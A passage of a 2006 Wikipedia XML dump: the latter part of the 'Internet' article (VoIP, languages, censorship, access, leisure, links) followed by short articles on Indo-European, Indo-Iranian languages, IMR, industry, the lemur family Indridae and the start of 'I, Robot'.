Web-cams can be seen as an even lower-budget extension of this phenomenon.  In this case the picture may update only slowly - perhaps once every few seconds or slower, but Internet users can watch animals around an African waterhole, ships in the [[Panama Canal]] or the traffic at a local roundabout live and in real time. Video [[chat rooms]], [[video conferencing]], and remote controllable webcams have become popular. Some people install webcams in their bedrooms that can be accessed by other voyeurs, often with two-way sound.

[[Voice over IP|VoIP]] stands for Voice over IP, where [[Internet Protocol|IP]] refers to the Internet Protocol that underlies all Internet communication.  This phenomenon began as an optional two-way voice extension to some of the [[Instant Messaging]] systems that took off around the turn of the millennium.  In recent years many people and organizations have made VoIP systems as easy to use and as convenient as a normal telephone.  The benefit is that, as the Internet carries the actual voice traffic, VoIP is free or costs much less than an actual telephone call, especially over long distances and especially for those with always-on [[ADSL]] or [[Digital Subscriber Line|DSL]] Internet connections anyway.  The disadvantages are that it is still difficult to initiate a call with someone, unless they also have a VoIP phone or are at their computer and that there are still several competing standards that are mitigating against universal acceptance.

In all of these cases, existing large organizations, that have grown accustomed to regular incomes for their services, are finding increased competition in their service areas, coming directly from the Internet.  While newcomers strive to make these inroads, the traditional industries have to adapt, adopt, complain or suffer.  Meanwhile the consumer in each case most probably benefits from the increased range of services and possible price reductions.  Some worry about censorship and control while others see a continuing globalisation of culture and norms.

===Language===
{{main|English on the Internet}}
The most prevalent language for communication on the Internet is [[English language|English]].  This may be due to the Internet's origins, as well as English's role as the [[lingua franca]].  It may also be related to the poor capability of early computers to handle characters other than those in the basic [[Latin alphabet]]. {{further|Unicode}}

After English (32% of web visitors) the most-requested languages on the [[world wide web]]  are [[Chinese language|Chinese]] 13%, [[Japanese language|Japanese]] 8%, [[Spanish language|Spanish]] 7%, [[German language|German]] 6% and [[French language|French]] 4% (from [http://www.internetworldstats.com/stats7.htm Internet World Stats], updated November 30, 2005).
&lt;!-- Note that the use of these copyright statistics is dependent on &quot;giving due credit and establishing an active link back to www.internetworldstats.com&quot;, so please do not remove the citation above --&gt;

By continent, 34% of the world's Internet users are based in [[Asia]], 29% in [[Europe]], and 23% in [[North America]] ([http://www.internetworldstats.com/stats.htm] updated [[November 21]], 2005).
&lt;!-- Note that the use of these copyright statistics is dependent on &quot;giving due credit and establishing an active link back to www.internetworldstats.com&quot;, so please do not remove the citation above --&gt;

The Internet's technologies have developed enough in recent years that good facilities are available for development and communication in most widely used languages. However, some glitches such as [[mojibake]] still remain.

===Cultural awareness===
From a cultural awareness perspective, the Internet has been both an advantage and a liability. For people who are interested in other cultures it provides a significant amount of information and an interactivity that would be unavailable otherwise. However, for people who are not interested in other cultures there is some evidence indicating that the Internet enables them to avoid contact to a greater degree than ever before.

===Internet and the workplace===
With the emergence of the internet and recent high speed connections becoming available to the public, the internet has altered the way many people work in significant ways. Contrary to the traditional 9-5 workday where employees commute to and from work, the internet has allowed greater flexibility both in terms of working hours and work location. Today, many employees work from home by &quot;telecommuting&quot;. 

The internet and the advent of [[blogs]] has given employees a forum from which to voice their opinions about their jobs, employers and co-workers, creating a massive amount of [[information]] and [[data]] on work that is currently being collected by the [http://www.worklifewizard.org Worklifewizard.org] project run by [http://www.law.harvard.edu/programs/lwp Harvard Law School's Labor &amp; Worklife Program].

==Censorship==
{{main|Censorship in cyberspace}}
Some countries, such as [[Iran]] and the [[People's Republic of China]], restrict what people in their countries can see on the Internet, especially unwanted political and religious content. 
Censorship is sometimes done through government controlled censoring filters, or by means of law or culture, making the propagation of targeted materials extremely hard. However, many internet users are able to bypass these filters, meaning that most Internet content is available regardless of where one is in the world, so long as one has the technical skill and means of connecting to it.

In the Western world, it is [[Germany]] that has the highest rate of censorship, especially of Nazis. However, most countries in the Western world do not force Internet Service Providers to block sites.

There are a large number of programs available that will block what are deemed to be offensive sites (such as pornographic or violent) on individual computers or networks.

==Internet access==
{{main|Internet access}}
[[Image:Internet-users-public-access-xi-unctad.jpg|thumb|300px|right|Internet public access point.]]
{{wikibookspar||Online linux connect}}
Common methods of home access include [[Dial-up access|dial-up]], landline [[Broadband Internet access|broadband]] (over coaxial cable, fibre optic or copper wires), [[Wi-Fi]], [[Satellite Internet|satellite]] and [[mobile phone|cell phones]].

[[Public place]]s to use the Internet include [[libraries]] and [[Internet cafe]]s, where computers with Internet connections are available. There are also Internet access points in many public places like airport halls, in some cases just for brief use while standing. Various terms are used, such as &quot;public Internet kiosk&quot;, &quot;public access terminal&quot;, and &quot;Web [[payphone]]&quot;. Many hotels now also have public terminals, though these are usually fee based.

[[Wi-Fi]] provides wireless access to computer networks, and therefore can do so to the Internet itself. [[Hotspot (wifi)|Hotspots]] providing such access include [[Wi-Fi#Commercial Wi-Fi|Wi-Fi-cafes]], where a would-be user needs to bring their own wireless-enabled devices such as a [[laptop]] or [[Personal Digital Assistant|PDA]]. These services may be free to all, free to customers only, or fee-based. A hotspot need not be limited to a confined location. The whole campus or park, or even the entire city can be enabled. [[Grassroots]] efforts have led to [[wireless community network]]s.

Apart from Wi-Fi, there have been experiments with proprietary mobile wireless networks like [[Ricochet]], various high-speed data services over cellular or mobile phone networks, and fixed wireless services.

==Capitalisation conventions==
{{main|Internet Capitalisation Conventions}}
In formal usage, ''Internet'' is traditionally written with a [[majuscule|capital]] first letter. The [[Internet Society]], the [[Internet Engineering Task Force]], the [[ICANN|Internet Corporation for Assigned Names and Numbers]], the [[World Wide Web Consortium]], and several other Internet-related organizations all use this convention in their publications. In English grammar, proper nouns are capitalised.

Most newspapers, newswires, periodicals, and technical journals also capitalize the term.  Examples include the ''[[New York Times]]'', the ''[[Associated Press]]'', ''[[Time (magazine)|Time]]'', ''[[The Times of India]]'', ''[[Hindustan Times]]'' and ''[[Communications of the ACM]]''.

In other cases, the first letter is often written [[minuscule|small]] (''internet''), as it is argued that this is the correct form. However, the term internet with a small i refers in network technologies to any interconnected local area networks, whereas the Internet with a capital i is the specific name of the largest internet on earth; but there are others.

Since 2000, a significant number of publications have switched to using ''internet''. Among them are ''[[The Economist]]'', the ''[[Financial Times]]'', the ''[[The Times|London Times]]'', and the ''[[The Sydney Morning Herald|Sydney Morning Herald]]''. As of 2005, most publications using ''internet'' appear to be located outside of [[North America]] although one American news source, ''[[Wired News]]'', has adopted the lowercase spelling.

==Leisure==
The Internet has been a major source of leisure since before the World Wide Web, with entertaining social experiments such as [[MOO]]s being conducted on university servers, and humor-related [[Usenet]] groups receiving much of the main traffic. Today, many [[Internet forum]]s have sections devoted to [[neta]]; short cartoons in the form of [[Flash movie]]s are also popular.

The [[pornography]] and [[gambling]] industries have both taken full advantage of the World Wide Web, and often provide a significant source of advertising revenue for other Web sites. Although many governments have attempted to put restrictions on both industries' use of the Internet, this has generally failed to stop their widespread popularity.

One main area of leisure on the Internet is [[multiplayer gaming]]. This form of leisure creates communities, bringing people of all ages and origins to enjoy the fast-paced world of multiplayer games. These range from [[MMORPG]] to [[First-person shooter|first-person shooters]], from [[computer role-playing game|role-playing games]] to [[online gambling]]. This has revolutionized the way many people interact and spend their free time on the Internet. 

Online gaming began with services such as [[GameSpy Arcade|GameSpy]] and [[MPlayer.com|MPlayer]], which players of games would typically subscribe to. Non-subscribers were limited to certain types of gameplay or certain games. With the release of Diablo by [[Blizzard Entertainment]], gamers were treated to a built in online game service that was free of charge over [[Battle.net]]. With Blizzard's next game, StarCraft, the gaming world saw an explosion in the numbers of players using the Internet to play multi-player games. StarCraft may have been the first non-MMO game in which most players utilized the online gameplay as opposed to the single-player gameplay.

Many use the Internet to access and download music, movies and other works for their enjoyment and relaxation.  As discussed above, there are paid and unpaid sources for all of these, using centralised servers and distributed, peer-to-peer technologies.  Discretion is needed as some of these sources take more care over the original artists' rights and over copyright laws than others.  

Many use the World Wide Web to access news, weather and sports reports, to plan and book holidays and to find out more about their random ideas and casual interests.

People use [[Internet Relay Chat|chat]], [[Instant messaging|messaging]] and email to make and stay in touch with friends worldwide, sometimes in the same way as some previously had [[pen pal]]s.  Social networking web sites like [[Friends Reunited]] and many others like them also put and keep people in contact for their enjoyment. 

[[Cyberslacking]] has become a serious drain on corporate resources; the average UK employee spends 57 minutes a day surfing the web at work, according to a study by [[Peninsula Business Services]][http://news.scotsman.com/topics.cfm?tid=914&amp;id=1001802003].

==A complex system==
Many computer scientists see the Internet as a &quot;prime example of a large-scale, highly engineered, yet highly complex system&quot; (Willinger, et al). The Internet is extremely heterogeneous. (For instance, data transfer rates and physical characteristics of connections vary widely.) The Internet exhibits [[Emergence|&quot;emergent phenomena&quot;]] that depend on its large-scale organization. For example, data transfer rates exhibit temporal self-similarity.

{{section-stub}}

==Marketing==
{{merge|World Wide Web}}
The Internet has also become a large market for companies; some of the biggest companies today have grown by taking advantage of the efficient nature of low-cost [[advertising]] and [[commerce]] through the Internet; also known as [[e-commerce]]. It is the fastest way to spread information to a vast amount of people simultaneously. The Internet has also subsequently revolutionized [[shopping]]—for example; a person can order a [[Compact disc|CD]] online and receive it in the [[mail]] within a couple of days, or [[download]] it directly in some cases.  The Internet has also greatly facilitated [[personalized marketing]] which allows a company to market a product to a specific person or a specific group of people moreso than any other advertising medium.

{{section-stub}}

==Significant Internet events==
===Malfunctions and attacks===
*[[2003 North America blackout]] - [[August 14]], [[2003]]
*[[SQL slammer (computer worm)|SQL Slammer worm]] - [[January 24]], [[2003]]
*[[2002 DNS Backbone DDoS]] - [[October 22]], [[2002]]
*UUNet/Worldcom backbone difficulties - [[October 3]], [[2002]]
*[[Morris worm]]

==See also==
{{wikiquote}}
{{commons|Internet}}
* [[List of Internet topics]]
* [[An internet of things]]
* [[Internet art|Art on the Internet]]
* [[Bogon filtering]]
* [[Catenet]]
* [[Central ad server]]
* [[Cybersex]]
* [[Cyberzine]]
* [[Dark internet]]
* [[Download]]
* [[Internet democracy|Democracy on the Internet]]
* [[Internet dynamics|Dynamics of the Internet]]
* [[E-mail]]
* [[Extranet]]
* [[File Sharing]]
* [[Flaming]]
* [[Internet friendship|Friendship on the Internet]]
* [[HyperText Transfer Protocol]]
* [[Hacktivism]] or [[Hacker culture]]
* [[History of the Internet]]
* [[Internet humor|Humor on the Internet]]
* [[ICANN]]
* [[Instant Messaging]]
* [[International Freedom of Expression eXchange]] - monitors Internet censorship around the world
* [[Internet 2]]
* [[Internet Archive]]
* [[Internet forum]]
* [[Internet pornography]]
* [[Internet Relay Chat]]
* [[Internet Service Provider]]
* [[Internet traffic engineering]]
* [[Internets (colloquialism)]]
* [[Interweb]]
* [[Intranet]]
* [[Modem]]
* [[NANOG]]
* [[Netiquette]]
* [[Network Mapping]]
* [[Online banking]]
* [[Open Directory Project]]
* [[Internet privacy|Privacy on the Internet]]
* [[Search engine]]
* [[Security breach|Security breaches]]
* [[Server]]
* [[TOTSE]]
* [[Internet slang|Slang on the Internet]]
* [[Internet troll|Trolls and trolling]]
* [[Upload]]
* [[Videotex]] - an early communications technology
* [[Web browser]]
* [[Web hosting]]
* [[Web portal]]
* [[WebQuest]]
* [[World Wide Web]]
* [[Web Design]]

==References==
*[http://www.livinginternet.com  Living Internet] -- Internet history and related information, including information from many creators of the Internet.
*[http://www.firstmonday.org/ First Monday] peer-reviewed journal on the internet
*Janet Abbate, ''Inventing the Internet'' (Inside Technology (Paperback)), MIT Press 2000, ISBN 0262511150
* Walter Willinger, Ramesh Govindan, Sugih Jamin, Vern Paxson, and Scott Shenker. (2002). Scaling phenomena in the Internet. In ''Proceedings of the National Academy of Sciences, 99'', suppl. 1, 2573 – 2580.

==External links==

===General===
*[http://www.isoc.org/ The Internet Society (ISOC)]
*[http://www.techterms.org/internet.php Internet Dictionary] - Definitions of Internet-related terms
*[http://www.experienced-people.co.uk/1099-webmaster-glossary/ The Alternate Internet Glossary] (Humor)
*[http://www.noslang.com/ Internet Slang Dictionary]
*[http://www.clickz.com/stats/sectors/geographics/article.php/5911_151151 Internet access stats]
*[http://www.sharpened.net/glossary/ Glossary of Computer and Internet Terms]
*[http://scoreboard.keynote.com/scoreboard/Main.aspx?Login=Y&amp;Username=public&amp;Password=public Internet Health Report] from Keynote
*[http://www.internetworldstats.com/stats.htm Internet World Stats]
*[http://www.itsawonderfulinternet.com/ The Pros and Cons of the Internet] (Humor)

===Articles===
*[http://www.iht.com/articles/2005/09/29/business/net.php &quot;EU and U.S. clash over control of the Net&quot; - International Herald Tribune article by Tom Wright]
*[http://www.wired.com/wired/archive/13.08/intro.html &quot;10 Years that changed the world&quot; - WiReD looks back at the evolution of the Internet over last 10 years]
*[http://www.searchandgo.com/articles/internet/net-explained-1.php Internet Explained] Seven part article explaining the origins to the present and a summary for future of the Internet.
*[http://www.fourmilab.ch/documents/digital-imprimatur/ John Walker: The Digital Imprimatur]
*[http://www.addressingtheworld.info addressingtheworld.info] - website accompanying a book (ISBN 0742528103) on the history of DNS
*[http://www.illusivecreations.com Canada Web Design] company that offers over 300 [http://www.illusivecreations.com/web-design-articles/ articles].
*[http://computer.howstuffworks.com/internet-infrastructure.htm How Stuff Works explanation of the Infrastructure of the Internet]
*[http://www.wired.com/news/culture/0,1284,64596,00.html?tw=wn_tophead_7 &quot;It's Just the 'internet' Now&quot; - Wired.com article by Tony Long]

===History===
*[http://www.isoc.org/internet/history/brief.shtml The Internet Society History Page]
*[http://www.internetvalley.com/archives/mirrors/cerf-how-inet.txt How the Internet Came to Be]
*[http://www.zakon.org/robert/internet/timeline/ Hobbes' Internet Timeline v7.0]
*[http://www.ciolek.com/PAPERS/e-scholarship2000.html Futures and Non-futures for Scholarly Internet. ]
*[http://www.lk.cs.ucla.edu/internet_history.html History of the Internet links]
*[http://www.ietf.org/rfc/rfc801.txt RFC 801, planning the TCP/IP switchover]
*[http://www.archive.org/ Internet Archive] - A searchable database of old cached versions of websites dating back to 1996
* A list of lectures, some of which relate to the Internet, from the [[Massachusetts Institute of Technology]] is available [http://ocw.mit.edu/OcwWeb/Comparative-Media-Studies/CMS-930Media--Education--and-the-MarketplaceFall2001/VideoLectures/index.htm here].  Of particular interest is lecture #3 ''The Next Big Thing: Video Internet'' which is delivered in [[Real Player]] format.  The lecture gives a brief history of networking; discusses convergence between the internet/telephone/television networks; the expansion of broadband access; makes predictions about the future of delivery of video over the internet.

[[Category:Communication]]
[[Category:Computer networks]]
[[Category:Digital media]]
[[Category:Digital Revolution]]
[[Category:Internet]]
[[Category:Networks]]

[[af:Internet]]
[[am:ድኅረ ገጽ መረብ]]
[[ar:إنترنت]]
[[ast:Internet]]
[[az:İnternet]]
[[bg:Интернет]]
[[be:Інтэрнэт]]
[[bn:ইন্টারনেট]]
[[bs:Internet]]
[[br:Internet]]
[[ca:Internet]]
[[cs:Internet]]
[[da:Internet]]
[[de:Internet]]
[[et:Internet]]
[[el:Διαδίκτυο]]
[[es:Internet]]
[[eo:Interreto]]
[[eu:Internet]]
[[fa:اینترنت]]
[[fr:Internet]]
[[fy:Ynternet]]
[[fur:Internet]]
[[ga:Idirlíon]]
[[gl:Internet]]
[[ko:인터넷]]
[[hi:इंटरनेट]]
[[hr:Internet]]
[[ilo:Internet]]
[[id:Internet]]
[[ia:Internet]]
[[iu:ᖃᕆᓴᐅᔭᒃᑯᑦ ᑎᑎᕋᖅᓯᒪᔪᑦ]]
[[is:Internetið]]
[[it:Internet]]
[[he:אינטרנט]]
[[kn:ಅಂತರ ಜಾಲ]]
[[csb:Internet]]
[[ku:Înternet]]
[[la:Interrete]]
[[lv:Internets]]
[[lt:Internetas]]
[[lb:Internet]]
[[li:Internet]]
[[hu:Internet]]
[[mk:Интернет]]
[[ms:Internet]]
[[nl:Internet]]
[[nds:Internet]]
[[ja:インターネット]]
[[no:Internett]]
[[nn:Internett]]
[[os:Интернет]]
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[[pt:Internet]]
[[ro:Internet]]
[[rm:Internet]]
[[ru:Интернет]]
[[sa:आन्तरजालम्]]
[[scn:Internet]]
[[simple:Internet]]
[[sk:Internet]]
[[sl:Internet]]
[[sr:Интернет]]
[[su:Internét]]
[[fi:Internet]]
[[sv:Internet]]
[[tl:Internet]]
[[ta:இணையம்]]
[[tt:Päräwez]]
[[th:อินเทอร์เน็ต]]
[[tpi:Intanet]]
[[tr:Internet (özel isim)]]
[[uk:Інтернет]]
[[uz:Internet]]
[[vi:Internet]]
[[vo:Vüresod]]
[[wa:Daegntoele]]
[[yi:אינטערנעץ]]
[[zh:互联网]]
[[fiu-vro:Internet]]</text>
    </revision>
  </page>
  <page>
    <title>Indo-European</title>
    <id>14540</id>
    <revision>
      <id>40855390</id>
      <timestamp>2006-02-23T13:08:51Z</timestamp>
      <contributor>
        <ip>84.7.247.176</ip>
      </contributor>
      <comment>French article link</comment>
      <text xml:space="preserve">{{Indo-European}}
'''Indo-European''' is a linguistic term, referring to
*the family of [[Indo-European languages]]
**the associated speakers, the [[Indo-Europeans]]
*the academic field of [[Indo-European studies]]
*sometimes, for brevity, to Proto-Indo-European:
**the [[Proto-Indo-European language]]
**the associated hypothetical speakers or hypothetical [[ethnic group]], the [[Proto-Indo-Europeans]]

==See also==
*[[Pre-Indo-European]]

[[Category:Indo-European|*]]
{{dab}}

[[ca:Indoeuropeu]]
[[eu:Indoeuropera]]
[[fr:Indo-européen]]</text>
    </revision>
  </page>
  <page>
    <title>Indo-Iranian languages</title>
    <id>14541</id>
    <revision>
      <id>40705349</id>
      <timestamp>2006-02-22T12:55:51Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Pali]] to [[Pāli]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{Infobox Language family
|name=Indo-Iranian
|region=[[South Asia]]
|familycolor=Indo-European
|child1=[[Indo-Aryan languages|Indo-Aryan]] / Sanskrit
|child2=[[Iranian languages|Iranian]]}}

{{Indo-European}}

The '''Indo-Iranian languages''' are the language links between [[India]] and [[Iran]]. The term [[Aryan]] is often used to refer to the Indo-Iranian languages. According to some Aryan migration theories, speakers of the [[Proto-Indo-Iranian language]], who referred to themselves as [[Aryans]], settled east and south of the [[Caspian Sea]] in [[Northern India]], [[Pakistan]], [[Iran]] and [[Afghanistan]]. Their expansion is believed to have been connected with the invention of the [[chariot]].

[[Indo-Aryan languages]]:
* [[Sanskrit]]
* [[Angika language]]
* [[Assamese language]]
* [[Bengali language]]
* [[Bhojpuri language]]
* [[Dhivehi language]] / [[Mahl language]]
* [[Gujarati language]]
* [[Hindi language]]
* [[Magadhi language]]
* [[Maithili language]]
* [[Marathi language]]
* [[Nepali language]]
* [[Oriya language]]
* [[Pāli|Pali]]
* [[Punjabi language]]
* [[Romany language]] - the language of [[Roma and Sinti]]
* [[Sindhi language]]
* [[Singhalese language]]
* [[Urdu]]

[[Dardic languages]]:
* [[Dameli language]]
* [[Domaaki language]]
* [[Gawar-Bati language]]
* [[Kalasha language]]
* [[Kashmiri language]]
* [[Khowar language]]
* [[Kohistani language]]
* [[Ningalami language]]
* [[Pashayi language]]
* [[Phalura language]]
* [[Shina language]]
* [[Shumashti language]]

[[Nuristani languages]]:
* [[Ashkun language]]
* [[Kamviri language]]
* [[Kati language]] ([[Bashgali]])
* [[Prasuni language]] ([[Wasi-Weri]])
* [[Tregami language]]
* [[Waigali language]] ([[Kalasha-Ala]])

[[Iranian languages]]:
*Eastern Iranian
**Northeastern
*** [[Scythian languages|Scythian language]] (extinct)
**** [[Saka|Saka language]] (extinct)
*** [[Avestan language]] (extinct)
*** [[Ossetic|Ossetian language]]
*** [[Sogdian]] (extinct),  [[Yagnobi]]
*** [[Bactrian]] (extinct)
**Southeastern
*** [[Pashto language]]
*** [[Pamiri]]
*Western Iranian
**Northwestern
*** [[Dari (Zoroastrian)|Dari language of Zoroastrians]]
*** [[Balochi language]]
*** [[Talysh language]]
*** [[Kurdish language]]
**Southwestern (&quot;Persid&quot;)
*** [[Old Persian]] (extinct), [[Pahlavi]] (extinct), [[Persian language]] (including [[Dari (Afghanistan)|Dari]], [[Tajik language|Tajik]])
*** [[Tat language]]

==See also==
* [[Language families and languages]]
* [http://en.wiktionary.org/wiki/Wiktionary:Indo-Iranian_Swadesh_lists Indo-Iranian Swadesh list]

{{ie-lang-stub}}

[[Category:Indo-Iranian languages|*]]
[[Category:Iranian peoples]]

[[ast:Llinguas indoiranias]]
[[bs:Indoiranski jezici]]
[[bg:Индо-ирански езици]]
[[ca:Llengües indoiranianes]]
[[cs:Indoíránské jazyky]]
[[da:Indoiranske sprog]]
[[de:Indoiranische Sprachen]]
[[es:Lenguas indo-iranias]]
[[fr:Langues indo-iraniennes]]
[[he:שפות הודו-איראניות]]
[[nl:Indo-Iraanse talen]]
[[ja:インド・イラン語派]]
[[pl:Języki indoirańskie]]
[[pt:Línguas indo-iranianas]]
[[ro:Limbile indo-iraniene]]
[[sv:Indoiranska språk]]
[[zh:印度-伊朗语族]]</text>
    </revision>
  </page>
  <page>
    <title>IMR</title>
    <id>14542</id>
    <revision>
      <id>31957651</id>
      <timestamp>2005-12-19T11:03:13Z</timestamp>
      <contributor>
        <username>Jsmethers</username>
        <id>614213</id>
      </contributor>
      <text xml:space="preserve">'''IMR''' is a [[three-letter abbreviation]] with multiple meanings, including:
*[[Infant mortality rate]]
*[[Norwegian Institute of Marine Research]]
*[[Institutional Mode of Representation]]
*[[IMR-2]] and [[IMR-3]] armoured engineer vehicle (''Inzhenernae Maschina Razgrazhdeniya'', &amp;#1048;&amp;#1053;&amp;#1046;&amp;#1045;&amp;#1053;&amp;#1045;&amp;#1056;&amp;#1053;&amp;#1067;&amp;#1045; &amp;#1052;&amp;#1040;&amp;#1064;&amp;#1048;&amp;#1053;&amp;#1067; &amp;#1056;&amp;#1040;&amp;#1047;&amp;#1043;&amp;#1056;&amp;#1040;&amp;#1046;&amp;#1044;&amp;#1045;&amp;#1053;&amp;#1048;&amp;#1071;, literally &quot;Engineer Vehicle Obstacle-Clearing&quot;) [http://www.milparade.com/Soderzhaniye.pdf †]
*[[IMR (demogroup)|IMR]] is an Israeli [[demogroup]] also known as Immortals.
* [[Interrupt|Interrupt Mask Register]], in [[computer science]] is used to disable interrupts.

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Industry</title>
    <id>14543</id>
    <revision>
      <id>41817743</id>
      <timestamp>2006-03-01T23:09:26Z</timestamp>
      <contributor>
        <ip>70.134.95.239</ip>
      </contributor>
      <text xml:space="preserve">:''For other uses of this term, see [[Industry (disambiguation)]]''

An '''industry''' is generally any grouping of [[business]]es that share a common method of generating profits, such as the &quot;music industry&quot;, the &quot;automobile industry&quot;, or the &quot;cattle industry&quot;.   It is also used specifically to refer to an area of [[economics|economic]] production focused on [[manufacturing]] which involves large amounts of [[capital (economics)|capital]] investment before any [[profit]] can be realized, also called &quot;heavy industry.&quot;.  As-of 2004, [[Financial services]] is the largest industry (or category of industries) in the world in terms of earnings.

Industry in the second sense became a key sector of production in [[Europe]]an and [[North America]]n countries during the [[Industrial Revolution]], which upset previous [[mercantile]] and [[feudal]] economies through many successive rapid advances in technology, such as the development of [[steam engine]]s, [[power loom]]s, and advances in large scale [[steel]] and [[coal]] production. Industrial countries then assumed a [[capitalism|capitalist]] economic policy. [[Railroad]]s and [[Steamboat|steam-powered ship]]s began speedily integrating previously impossibly-distant world markets, enabling private [[company (law)|companies]] to develop to then-unheard of size and [[wealth]]. Following the Industrial Revolution, perhaps a third of world's economic output is derived from manufacturing industries&amp;mdash;more than [[agriculture]]'s share, but now less than that of the [[service]] sector. 

In [[economics]] and [[urban planning]], ''industrial'' is an intensive type of land use and economic activity involved with [[manufacturing]] and production.

==See also==
* [[Primary sector of industry]]
* [[Secondary sector of industry]]
* [[Tertiary sector of industry]]
* [[Quaternary sector of industry]]
* [[Industrial policy]]
* [[Adam Smith]]
* [[capitalism]]
* [[communism]]
* [[economics]]
* [[Industrial archaeology]]
* [[Marxism]]
* [[political economy]]
* [[Industrial process]]

[[Category:Industry| ]]

[[bg:Промишленост]]
[[br:Industri]]
[[ca:Indústria]]
[[da:Industri]]
[[de:Industrie]]
[[et:Tööstus]]
[[es:Industria]]
[[eo:Industrio]]
[[fa:صنعت]]
[[fr:Industrie]]
[[it:Industria]]
[[he:תעשייה]]
[[lb:Industrie]]
[[mk:Индустрија]]
[[nl:Industrie]]
[[ja:産業]]
[[no:Industri]]
[[pl:Przemysł (ekonomia)]]
[[pt:Indústria]]
[[ro:Industrie]]
[[ru:Промышленность]]
[[scn:Gnustrìa]]
[[simple:Industry]]
[[sl:Industrija]]
[[sr:Индустрија]]
[[sh:Industrija]]
[[fi:Teollisuus]]
[[sv:Industri]]
[[zh:産業]]</text>
    </revision>
  </page>
  <page>
    <title>Indridae</title>
    <id>14544</id>
    <revision>
      <id>40005134</id>
      <timestamp>2006-02-17T12:52:16Z</timestamp>
      <contributor>
        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
      <minor />
      <comment>avoid disambig</comment>
      <text xml:space="preserve">{{Taxobox | color = pink
| name = Indridae
| image = P verreauxi Grandidier.jpg
| image_width = 250px
| image_caption = [[Verreaux's Sifaka]] (''Propithecus verreauxi'')
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Primate]]s
| subordo = [[Strepsirrhini]]
| infraordo = [[Lemuriformes]]
| superfamilia = [[Lemuroidea]]
| familia = '''Indridae'''
| familia_authority = [[Gilbert Thomas Burnett|Burnett]], [[1828]]
| subdivision_ranks = [[Genus|Genera]]
| subdivision = ''[[Indri]]''&lt;br&gt; ''[[woolly lemur|Avahi]]''&lt;br&gt; ''[[Propithecus]]''
}}

The '''Indridae''' (also spelled '''Indriidae''') are a family of [[strepsirrhine]] [[primate]]s. They are medium to large sized [[lemur]]s with only four teeth in the toothcomb instead of the usual six. '''Indrids''', like all lemurs, live exclusively on the island of [[Madagascar]].

The ten extant indrid species vary considerably in size. Not counting the length of their tails, the [[woolly lemur|avahis]] are only 30cm in length, while the [[Indri]] is the largest extant strepsirrhine. The tail of the Indri is only a stub, while avahi and the [[sifaka]] tails are as long as their bodies. Their fur is long and mostly from whitish over reddish up to grey. Their black faces, however, are always bald. The hind legs are longer than their fore limbs, their hands are long and thin, and their thumb cannot be opposed to the other fingers correctly.

All species are [[arboreal]], though they do come to the ground occasionally. When on the ground, they stand upright and move with short hops forward, with their arms held high. In the trees, though, it can make extraordinay leaps and is extremely agile, able to change direction from tree to tree. Like most leaf eaters they adjust for the low nutrient content of their food by long rests. Often it can be seen lying stretched on trees sunning themselves. Indrids live together in family federations from two to 15 animals, communicating with roars and also with facial expressions.

Indrids are strict [[vegetarian]]s, eating mostly leaves, fruits and flowers.

Females and males usually mate monogamously for many years. Mostly at the end of the dry season, their four to five-month gestation ends with the birth of a single offspring, which lives in the family for a while after its weaning (at the age of five to six months).

Indridae also contains eleven extinct species in six genera. Most if not all were larger animals, [[megafauna]], called sloth lemurs. These included the [[chimpanzee]]-sized ''[[Palaeopropithecus]]'' and the [[gorilla]]-sized ''[[Archaeoindris]]''. Most went extinct within the last 1500 to 2000 years, after humans started inhabiting Madagascar.

==Classification==
&lt;small&gt;Extinct [[taxa]] are listed in parentheses.&lt;/small&gt;
* '''ORDER [[primates|PRIMATES]]'''
** Suborder [[Strepsirrhini]]: non-tarsier prosimians
*** Family [[Cheirogaleidae]]: dwarf and mouse lemurs
*** Family [[Lemuridae]]: lemurs
*** Family [[Lepilemuridae]]: sportive lemurs
*** '''Family Indridae''': woolly lemurs and allies
**** (Subfamily [[Archaeolemurinae]])
***** (Genus ''[[Hydropithecus]]'')
***** (Genus ''[[Archaeolemur]]'')
**** (Subfamily [[Palaeopropithecinae]])
***** (Genus ''[[Archaeoindris]]'')
***** (Genus ''[[Babakotia]]'')
***** (Genus ''[[Palaeopropithecus]]'')
**** Subfamily [[Indrinae]]
***** Genus ''[[Indri]]''
***** Genus ''[[woolly lemur|Avahi]]''
***** (Genus ''[[Mesopropithecus]]'')
***** Genus ''[[Propithecus]]''
*** Family [[Daubentoniidae]]: Aye-aye
*** Family [[Lorisidae]]: lorises, pottos and allies 
*** Family [[Galagidae]]: galagos
** Suborder [[Haplorrhini]]: tarsiers, monkeys and apes

==See also==
* [[Holocene extinction event]]

==References==
{{Wikispecies|Indridae}}
*[http://www.itis.usda.gov/servlet/SingleRpt/SingleRpt?search_topic=TSN&amp;search_value=572769 ITIS entry]
*[http://www.ncbi.nlm.nih.gov/Taxonomy/Browser/wwwtax.cgi?mode=Undef&amp;name=indridae&amp;srchmode=1&amp;keep=1&amp;a=Go&amp;lvl=3 NCBI entry]

[[Category:Prosimians]]

[[da:Indrier]]
[[de:Indriartige]]
[[fr:Indridae]]
[[lt:Indriniai]]
[[nl:Indriachtigen]]
[[ja:インドリ科]]
[[sv:Indrier]]</text>
    </revision>
  </page>
  <page>
    <title>I, Robot</title>
    <id>14545</id>
    <revision>
      <id>41598677</id>
      <timestamp>2006-02-28T11:51:02Z</timestamp>
      <contributor>
        <username>Thryduulf</username>
        <id>157530</id>
      </contributor>
      <comment>/* References and parodies */ External link to The Onion's parody</comment>
      <text xml:space="preserve">{{otheruses}}
'''''I, Robot''''' is a collection of nine [[science fiction]] [[short stories]] by [[Isaac Asimov]], first published by [[Gnome Press]] in [[1950]]. The stories originally appeared in the magazines ''[[Super Science Stories]]'' and ''[[Astounding Science Fiction]]'' between [[1940]] and 1950.  Though the stories work well enough individually, they share a theme of the interaction of [[human]]s, [[robot]]s and [[morality]], and when combined they tell a larger story of Asimov's fictional history of [[robotics]]. 

Several of the stories feature the character of Dr. [[Susan Calvin]], chief robopsychologist at [[U.S. Robots and Mechanical Men]], Inc., the major manufacturer of robots. Upon their publication in this collection, Asimov wrote a [[framing sequence]] presenting the stories as Calvin's reminiscences during an interview with her about her life's work, chiefly concerned with aberrant behaviour of robots, and the use of &quot;[[robopsychology]]&quot; to sort them out. 
